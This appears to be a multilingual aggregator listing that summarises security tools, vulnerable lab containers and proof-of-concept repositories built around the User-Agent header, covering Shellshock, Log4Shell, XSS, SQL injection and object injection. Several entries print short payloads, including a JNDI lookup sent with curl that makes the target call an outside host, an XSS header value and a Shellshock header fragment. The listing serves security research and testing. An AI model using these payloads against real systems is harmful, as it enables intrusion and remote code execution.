CVE_POC_test

CVEPOCtest CVE-2019-13086 취약점의 재현 및 PoC 실험 코드 원본 CVE 정보: https://vulners.com/cve/CVE-2019-13086 실험 환경: CSZ CMS 아키텍처 + php5.4 + MySQL 5.5 + Apache 2.4 취약점 유형: SQL 인젝션 취약점, 파일 업로드 취약점 간단한 설명: \cszcms\cszcms\core\MYSecurity.php의 csrfshowerror 함수에서 HTTP 패킷의 User-Agent 필드는 데이터베이스 쿼리 문에 추가되기 전에 어떠한 내용...

Goreport

Goreport v3.0, Gophish 보고 도구 이 스크립트는 Gophish 캠페인 ID를 매개변수로 받아 캠페인 결과를 수집하여 통계를 제시하고, IP 주소에 대한 사용자 에이전트 파싱 및 지리적 위치 조회를 수행합니다. Goreport는 IP 주소, 운영 체제, 브라우저 유형 및 버전, 위치 목록을 생성하며, 각 항목이 캠페인 전체에서 관찰된 횟수를 포함합니다. 통계 관련 참고 사항: Goreport는 전체 이벤트 수와 각 이벤트에 참여한 이메일 수신자 수를 보고합니다. 즉, Goreport는 Gophish가...

vaas-cve-2014-6271

脆弱性 as a Service - CVE 2014-6271 脆弱なバージョンのbashを搭載したDebian Buster Linuxシステムと、CVS-2014-6271（別名Shellshock）を実演するWebアプリケーションです。 概要 このDockerコンテナはDebian Busterをベースにしており、脆弱なバージョンのBash（bash4.2:2b:dfsg-0.1）を使用するように変更されています。 Apache 2を介してWebアプリケーションが利用可能で、シェルコマンドを実行するCGIスクリプトを提供します。 使用方法 コンテナをインストールするには、dock...

CVE-2026-54806

WP Activity Log PHP 객체 주입 CVE-2026-54806 PoC 📜 설명 CVE-2026-54806은 Melapress의 WP Activity Log WordPress 플러그인wp-security-audit-log에서 발견된 치명적인CVSS 9.8 인증되지 않은 PHP 객체 주입 취약점입니다. 인증되지 않은 공격자는 기록된 이벤트예: 로그인 실패를 트리거하는 모든 요청의 User-Agent 헤더를 통해 직렬화된 PHP 객체를 주입할 수 있습니다. 주입된 페이로드는 데이터베이스에 저장되며, 관리자가 WordPre...

CVE-2024-46982-Reproduction

はじめに 1. Node.js LTS をインストールする 2. npm install 3. npm run build 4. npm run start 悪用方法1: キャッシュポイズニングによる格納型XSS 1. 任意のHTTPクライアントを使用して、次のHTTPリクエスト（攻撃リクエスト）を送信します。 root@kitploit: GET /poc?nextDataReq=1 HTTP/1.1 Host: localhost:3000 User-Agent: alert'XSS' x-now-route-matches: 1 2...

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: root@kitploit: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use...

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Python 웹 로그 분석기로 웹 서버 로그 분석 과정을 자동화하세요. 이 강력한 도구는 서버 로그 내에서 다양한 유형의 사이버 공격을 식별하고 탐지하여 보안을 강화하도록 설계되었습니다. 다음과 같은 기능을 통해 잠재적 위협보다 앞서 나가십시오: 목차 특징 향후 기능 설치 사용법 기여 라이선스 특징 1. 공격 탐지: 잠재적인 크로스 사이트 스크립팅XSS, 로컬 파일 포함LFI, 원격 파일 포함RFI 및 기타 일반적인 웹 애플리케이션 공격을 식별하고 플래그를 지정합니다. 2. 속도 제한...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 개요 이 리포지토리는 CVE-2014-6271의 PoC 환경입니다. apache2 컨테이너 이미지를 사용하여 취약점을 포함한 웹 서비스를 배포할 수 있습니다. 사전 준비 이미지 빌드 Dockerfile에서 안전하지 않은 이미지를 빌드합니다. root@kitploit: docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0...

apidetector

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

Shellbash-CVE-2014-6271

Shellshock 破壳漏洞（CVE-2014-6271） 编译运行： root@kitploit: docker-compose up -d 服务启动后，有两个页面http://your-ip:8080/victim.cgi和http://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面，victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi： root@kitploit: User-Agent: foo; ; echo Content-Type: text/plain; echo...

CVE-2021-42697

Akka HTTP 10.1.x10.1.15 미만 및 10.2.x10.2.7 미만는 HTTP 헤더를 파싱하는 동안 스택 고갈stack exhaustion이 발생할 수 있으며, 이로 인해 원격 공격자가 깊이 중첩된 주석이 포함된 User-Agent 헤더를 전송하여 서비스 거부DoS 공격을 수행할 수 있습니다. 참고 자료 MITRE Akka 블로그 주석의 임의 중첩 기본 Akka 설정 가이드 PoC 참고 사항 테스트 대상 버전: 10.2.4 대상 서버 핑거프린트: akka-http/ 페이로드 스니펫: User-Agent:...

log4shell-demo

Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hu...

W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, t...

Piwigo 13.7.0 - SQL Injection

Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header User-Agent is vulnerable at the endpoint that records user information when logging in to the...

webhandler

WebHandler PHP 시스템 함수를 위한 핸들러이자 'netcat' 대체 핸들러 정보 WebHandler는 'Linux bash 프롬프트'를 시뮬레이션하여 다음을 처리합니다: root@kitploit: - PHP 프로그램 실행 함수 예: system, passthru, exec 등 - 바인드 셸 연결 - 리버스 셸 연결 또 다른 기능은 HTTP 헤더의 "User-Agent" 필드를 스푸핑하는 것입니다. --random-angent. HTTP 프록시도 지원합니다 --proxy http://: WebHandler는 POST ...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

br0w

br0w Br0wをハックしよう | ブラウザを操作して、もっと学ぼう、ハックを楽しもう！！ Br0wは、ブラウザをツールとして使い、時に人々がその恩恵を忘れがちなWebセキュリティについて学ぶためのシンプルなWebサイトです。Capture The Flag CTF に近いかもしれません。 チャレンジの一つは、CSSの無効化やbase64エンコード・デコードをコンソール経由で行うことです。https://labs.tegalsec.org/br0w/ でプレイしてみてください。 チャレンジ一覧 : root@kitploit: Chall 1 | User-Agent Chall 2 ...

CVE-2025-59712_CVE-2025-59713

CVE-2025-59712 및 CVE-2025-59713에 대한 PoC 이 PoC는 CVE-2025-59712User-Agent 헤더의 XSS와 CVE-2025-59713안전하지 않은 역직렬화을 악용하는 자동화 스크립트를 제공합니다. 배경 이 두 취약점은 Snipe-IT 소프트웨어에 대한 취약점 연구 중 Synacktiv에 의해 발견되었습니다. Snipe-IT는 Laravel 기반의 오픈소스 자산 관리 시스템으로, 조직이 물리적 및 디지털 자산을 추적하고 관리할 수 있도록 설계되었습니다. 기술적인 분석 내용은 Synacktiv...

CVE-2025-9816

CVE-2025-9816 WP-Statistics プラグインの格納型XSS スキャナー 検出 & PoC "WordPress 用の「WP Statistics – 最もプライバシーに配慮した人気の分析プラグイン」は、入力のサニタイズと出力エスケープが不十分なため、14.5.4 までのすべてのバージョンにおいて、User-Agent ヘッダーを介した格納型クロスサイトスクリプティングに対して脆弱です。これにより、認証されていない攻撃者がページ内に任意のWebスクリプトを注入し、ユーザーがその注入されたページにアクセスするたびに実行される可能性があります。" 使用方法...